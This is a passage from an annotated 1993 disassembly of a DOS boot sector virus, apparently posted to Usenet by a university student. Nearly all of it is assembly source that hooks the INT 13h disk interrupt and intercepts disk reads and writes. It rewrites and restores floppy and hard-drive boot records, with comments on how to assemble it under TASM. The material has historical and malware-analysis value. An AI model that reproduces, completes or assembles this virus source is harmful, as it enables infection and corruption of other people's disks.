  1046.         JNZ     Exit_Virus              ;0026E  7514    |Yes, Exit_Virus
  1047.  
  1048.         CMP     CX,+01h                 ;00270  83F901  |Was it a 1 sector
  1049.  
  1050.                                         ;               | operation?
  1051.  
  1052.         JNZ     Exit_Virus              ;00273  750F    |No, Exit_Virus
  1053.  
  1054.         MOV     AX,SI                   ;00275  8BC6    |Restore Int 13
  1055.  
  1056.                                         ;               | function, sub fn
  1057.  
  1058.         CMP     AH,02h                  ;00277  80FC02  |Was it a read fn?
  1059.  
  1060.         JZ      Int13_Read              ;0027A  7410    |
  1061.  
  1062.         CMP     AH,03h                  ;0027C  80FC03  |
  1063.  
  1064.         JNZ     Exit_Virus              ;0027F  7503    |
  1065.  
  1066.                                         ;               |
  1067.  
  1068. Read_New_Boot:                          ;---------------------------------
  1069.  
  1070.                                         ;               |This pushes the
  1071.  
  1072.         CALL    Read_Boot               ;00281  E8A2FF  | address of
  1073.  
  1074.                                         ;               | Read_Boot on stack
  1075.  
  1076. Exit_Virus:                             ;---------------------------------
  1077.  
  1078.                                         ;               |
  1079.  
  1080.         CLC                             ;00284  F8      |
  1081.  
  1082.         POP     AX                      ;00285  58      |Restore registers
  1083.  
  1084.         POP     DI                      ;00286  5F      |
  1085.  
  1086.                                         ;               |
  1087.  
  1088. Int13_Error:                            ;---------------------------------
  1089.  
  1090.                                         ;               |
  1091.  
  1092.         POP     SI                      ;00287  5E      |
  1093.  
  1094.         POP     DS                      ;00288  1F      |
  1095.  
  1096.         RETF    0002h                   ;00289  CA0200  |Return to address
  1097.  
  1098.                                         ;               | on stack. Discard
  1099.  
  1100.                                         ;               | next two bytes on
  1101.  
  1102.                                         ;               | stack. This
  1103.  
  1104.                                         ;               | eventually gets us
  1105.  
  1106.                                         ;               | to offset 19C (check
  1107.  
  1108.                                         ;               | activation & reboot)
  1109.  
  1110. ;---------------------------------------;---------------------------------
  1111.  
  1112. Int13_Read:                             ;               |
  1113.  
  1114.                                         ;               |
  1115.  
  1116.         PUSH    CX                      ;0028C  51      |Push # sectors
  1117.  
  1118.         CMP     Byte Ptr ES:[BX+28h],7Ch;0028D  26807F  |Compare [0000:7C28]
  1119.  
  1120.                                         ;       287C    | with 7C. (Boot
  1121.  
  1122.                                         ;               | record offset 28).
  1123.  
  1124.         JNZ     Boot_Changed            ;00292  750D    |If no, then the
  1125.  
  1126.                                         ;               | boot record changed.
  1127.  
  1128.                                         ;00294  268B8F  |MOV CX,ES:[BX+0057h]
  1129.  
  1130.                                         ;       5700    |
  1131.  
  1132.                                                         ;
  1133.  
  1134.         MOV     CX,ES:[BX + word ptr Install - 100h]    ;Move starting sector
  1135.  
  1136.                                                         ; to CX
  1137.  
  1138.         MOV     AL,01h                  ;00299  B001    |
  1139.  
  1140.         CALL    Real_Int13_2            ;0029B  E848FF  |
  1141.  
  1142.                                         ;               |
  1143.  
  1144. HD_Exit:                                ;---------------------------------
  1145.  
  1146.                                         ;               |
  1147.  
  1148.         POP     CX                      ;0029E  59      |
  1149.  
  1150.         JMP     Short Exit_Virus        ;0029F  EBE3    |
  1151.  
  1152. ;---------------------------------------;---------------------------------
  1153.  
  1154. Boot_Changed:                           ;               |
  1155.  
  1156.                                         ;               |
  1157.  
  1158.         PUSH    DX                      ;002A1  52      |Save drive info
  1159.  
  1160.         MOV     CL,11h                  ;002A2  B111    |CX=0011 (Changed)
  1161.  
  1162.         TEST    DL,80h                  ;002A4  F6C280  |Is it a hard drive?
  1163.  
  1164.         JNZ     Hard_Drive              ;002A7  7534    |Yes, goto Hard_Drive
  1165.  
  1166.         MOV     CH,28h                  ;002A9  B528    |
  1167.  
  1168.         CMP    Byte Ptr ES:[BX+15h],0FCh;002AB  26807F  |
  1169.  
  1170.                                         ;       15FC    |
  1171.  
  1172.         JNB     H0000_02B4              ;002B0  7302    |
  1173.  
  1174.         SAL     CH,1                    ;002B2  D0E5    |
  1175.  
  1176.                                         ;               |
  1177.  
  1178. H0000_02B4:                             ;---------------------------------
  1179.  
  1180.                                         ;               | This code not
  1181.  
  1182.         PUSH    ES                      ;002B4  06      | analyzed as of
  1183.  
  1184.         PUSH    BX                      ;002B5  53      | April 21st.
  1185.  
  1186.         XOR     AX,AX                   ;002B6  33C0    |
  1187.  
  1188.         MOV     ES,AX                   ;002B8  8EC0    |
  1189.  
  1190.         LES     BX,DWord Ptr ES:[0078h] ;002BA  26C41E  |
  1191.  
  1192.                                         ;       7800    |
  1193.  
  1194.                                         ;               |Load ES & operand
  1195.  
  1196.                                         ;               | from memory
  1197.  
  1198.         PUSH    ES                      ;002BF  06      |
  1199.  
  1200.         PUSH    BX                      ;002C0  53      |
  1201.  
  1202.         INC     AL                      ;002C1  FEC0    |
  1203.  
  1204.         MOV     CL,AL                   ;002C3  8AC8    |
  1205.  
  1206.         XCHG    CL,ES:[BX+04h]          ;002C5  26864F04|
  1207.  
  1208.         MOV     AH,05h                  ;002C9  B405    |
  1209.  
  1210.         MOV     BX,0059h                ;002CB  BB5900  |
  1211.  
  1212.         MOV     [BX],CH                 ;002CE  882F    |
  1213.  
  1214.         PUSH    CS                      ;002D0  0E      |
  1215.  
  1216.         POP     ES                      ;002D1  07      |
  1217.  
  1218.         CALL    Real_Int13_2            ;002D2  E811FF  |
  1219.  
  1220.         POP     BX                      ;002D5  5B      |
  1221.  
  1222.         POP     ES                      ;002D6  07      |
  1223.  
  1224.         XCHG    CL,ES:[BX+04h]          ;002D7  26864F04|
  1225.  
  1226.         POP     BX                      ;002DB  5B      |
  1227.  
  1228.         POP     ES                      ;002DC  07      |
  1229.  
  1230.                                         ;               |
  1231.  
  1232. Hard_Drive:                             ;---------------------------------
  1233.  
  1234.                                         ;               |
  1235.  
  1236.         CALL    Setup_Int13             ;002DD  E803FF  |Prepare for Write
  1237.  
  1238.         POP     DX                      ;002E0  5A      |Get drive info
  1239.  
  1240.         JB      HD_Exit                 ;002E1  72BB    |On error exit
  1241.  
  1242.         MOV     DS:[0057h],CX           ;002E3  890E5700|DS:[57]=11 (Changed)
  1243.  
  1244.         MOV     Word Ptr ES:[BX],1CEBh  ;002E7  26C707  |[0000:7C00] now holds
  1245.  
  1246.                                         ;       EB1C    | EB 1C.
  1247.  
  1248.         MOV     SI,001Eh                ;002EC  BE1E00  |SI=001E
  1249.  
  1250.         ;-------------------------------;---------------------------------
  1251.  
  1252.         ;LEA     DI,[BX+001Eh]          ;               |TASM will emit 8D7F1E
  1253.  
  1254.                                         ;               |for this instruction,
  1255.  
  1256.         DB      8Dh,0BFh,1Eh,00h        ;002EF  8DBF1E00|so assemble as DB's
  1257.  
  1258.                                         ;               |BX=7C00 SI=001E
  1259.  
  1260.                                         ;               |ES=0000 DI=7C1E
  1261.  
  1262.         ;-------------------------------;---------------------------------
  1263.  
  1264.         MOV     CX,01E0h                ;002F3  B9E001  |cx=01E0h si=001Eh
  1265.  
  1266.         REP     MOVSB                   ;002F6  F3A4    |Move DS:SI to ES:DI
  1267.  
  1268.                                         ;               |Restore boot record
  1269.  
  1270.                                         ;               | from ofs 7C00:001E
  1271.  
  1272.                                         ;               | Note initial jump
  1273.  
  1274.                                         ;               | restored to EB 1C.
  1275.  
  1276.         POP     CX                      ;002F8  59      |CX=number of sectors
  1277.  
  1278.         CALL    Setup_Int13             ;002F9  E8E7FE  |Write the new boot
  1279.  
  1280.                                         ;               | record.
  1281.  
  1282.         JMP     Short Read_New_Boot     ;002FC  EB83    |Read it and process.
  1283.  
  1284. ;---------------------------------------;---------------------------------
  1285.  
  1286. Boot_ID DW      0AA55h                  ;002FE  55AA    |All valid boot
  1287.  
  1288.                                         ;               | sectors end with
  1289.  
  1290.                                         ;               | 55AA
  1291.  
  1292.         ENDS                            ;---------------------------------
  1293.  
  1294.                                         ; Disassembly by Arthur Ellis and ??
  1295.  
  1296.         END     Boot_Start              ; [Suggestions by Lucifer Messiah]
  1297.  
  1298.                                         ; April, 1993
  1299.  
  1300. ;-------------------------------------------------------------------------
  1301.  
  1302.  
  1303.  
  1304.  
  1305.  
  1306.  
  1307.  
  1308. --
  1309.  
  1310. Eric "Mad Dog" Kilby                                 maddog@ccs.neu.edu
  1311.  
  1312. The Great Sporkeus Maximus                 ekilby@lynx.dac.neu.edu
  1313.  
  1314. Student at the Northeatstern University College of Computer Science 
  1315.  
  1316. "I Can't Believe It's Not Butter"
  1317.  
  1318.  
  1319.  
  1320.